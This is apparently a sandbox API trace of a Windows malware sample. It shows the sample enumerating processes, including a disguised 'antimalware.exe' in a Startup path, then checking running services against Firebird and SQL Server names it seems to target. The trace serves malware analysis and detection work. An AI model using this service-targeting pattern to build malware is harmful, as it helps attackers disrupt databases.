	[0039.883] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0039.884] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0039.884] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0039.885] lstrlenW (lpString="UsoClient.exe") returned 13
	[0039.885] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0039.885] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0039.885] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0039.886] lstrlenW (lpString="taskhostw.exe") returned 13
	[0039.886] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0039.887] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0039.887] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0039.887] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0039.887] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0039.888] lstrlenW (lpString="msoia.exe") returned 9
	[0039.888] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0039.888] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0039.888] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0039.889] lstrlenW (lpString="msoia.exe") returned 9
	[0039.889] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0039.890] lstrlenW (lpString="roof.exe") returned 8
	[0039.890] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0039.896] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0039.896] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0039.897] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0039.897] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0039.897] lstrlenW (lpString="cause.exe") returned 9
	[0039.898] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0039.898] lstrlenW (lpString="occasionstax.exe") returned 16
	[0039.898] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0039.899] lstrlenW (lpString="distributors.exe") returned 16
	[0039.899] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0039.899] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0039.899] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0039.900] lstrlenW (lpString="rand.exe") returned 8
	[0039.900] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0039.901] lstrlenW (lpString="unlikely.exe") returned 12
	[0039.901] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0039.901] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0039.901] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0039.902] lstrlenW (lpString="promotion.exe") returned 13
	[0039.902] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0039.903] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0039.903] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0039.904] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0039.904] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0039.904] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0039.904] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0039.905] lstrlenW (lpString="bad-length.exe") returned 14
	[0039.905] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0039.906] lstrlenW (lpString="unit.exe") returned 8
	[0039.906] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0039.907] lstrlenW (lpString="parents.exe") returned 11
	[0039.907] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0039.907] lstrlenW (lpString="charge.exe") returned 10
	[0039.907] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0039.908] lstrlenW (lpString="measures-provision.exe") returned 22
	[0039.908] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0039.909] lstrlenW (lpString="dllhost.exe") returned 11
	[0039.909] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0039.909] lstrlenW (lpString="conhost.exe") returned 11
	[0039.910] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0039.910] lstrlenW (lpString="conhost.exe") returned 11
	[0039.910] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0039.911] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0039.911] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0039.912] lstrlenW (lpString="cmd.exe") returned 7
	[0039.912] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0039.912] lstrlenW (lpString="conhost.exe") returned 11
	[0039.912] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0039.913] CloseHandle (hObject=0x2a4) returned 1
	[0039.913] Sleep (dwMilliseconds=0x1f4) 
	[0040.427] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fa80
	[0040.427] EnumServicesStatusExW (in: hSCManager=0x68fa80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0040.557] GetLastError () returned 0xea
	[0040.557] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c2a) returned 0x42c03d0
	[0040.557] EnumServicesStatusExW (in: hSCManager=0x68fa80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42c03d0, cbBufSize=0x1c2a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42c03d0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0040.632] CloseServiceHandle (hSCObject=0x68fa80) returned 1
	[0040.633] lstrlenW (lpString="Appinfo") returned 7
	[0040.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0040.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0040.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0040.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0040.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0040.633] lstrlenW (lpString="AppXSvc") returned 7
	[0040.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0040.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0040.633] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0040.633] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0040.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0040.633] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0040.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0040.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0040.633] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0040.633] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0040.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0040.633] lstrlenW (lpString="Audiosrv") returned 8
	[0040.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0040.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0040.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0040.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0040.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0040.633] lstrlenW (lpString="BFE") returned 3
	[0040.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0040.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0040.634] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0040.634] lstrlenW (lpString="BITS") returned 4
	[0040.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0040.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0040.634] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0040.634] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0040.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0040.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0040.634] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0040.634] lstrlenW (lpString="CDPSvc") returned 6
	[0040.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0040.634] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0040.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0040.634] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0040.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0040.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0040.634] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0040.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0040.634] lstrlenW (lpString="CryptSvc") returned 8
	[0040.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0040.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0040.635] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0040.635] lstrlenW (lpString="DcomLaunch") returned 10
	[0040.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0040.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0040.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0040.635] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0040.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0040.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0040.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0040.635] lstrlenW (lpString="Dhcp") returned 4
	[0040.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0040.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0040.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0040.635] lstrlenW (lpString="Dnscache") returned 8
	[0040.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0040.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0040.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0040.635] lstrlenW (lpString="DPS") returned 3
	[0040.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0040.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0040.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0040.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0040.635] lstrlenW (lpString="DusmSvc") returned 7
	[0040.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0040.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0040.636] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0040.636] lstrlenW (lpString="EventLog") returned 8
	[0040.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0040.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0040.636] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0040.636] lstrlenW (lpString="EventSystem") returned 11
	[0040.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0040.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0040.636] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0040.636] lstrlenW (lpString="FontCache") returned 9
	[0040.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0040.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0040.636] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0040.636] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0040.636] lstrlenW (lpString="gpsvc") returned 5
	[0040.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0040.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0040.636] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0040.636] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0040.636] lstrlenW (lpString="iphlpsvc") returned 8
	[0040.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0040.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0040.636] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0040.636] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0040.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0040.636] lstrlenW (lpString="KeyIso") returned 6
	[0040.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0040.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0040.636] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0040.636] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0040.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0040.637] lstrlenW (lpString="LanmanServer") returned 12
	[0040.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0040.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0040.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0040.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0040.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0040.637] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0040.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
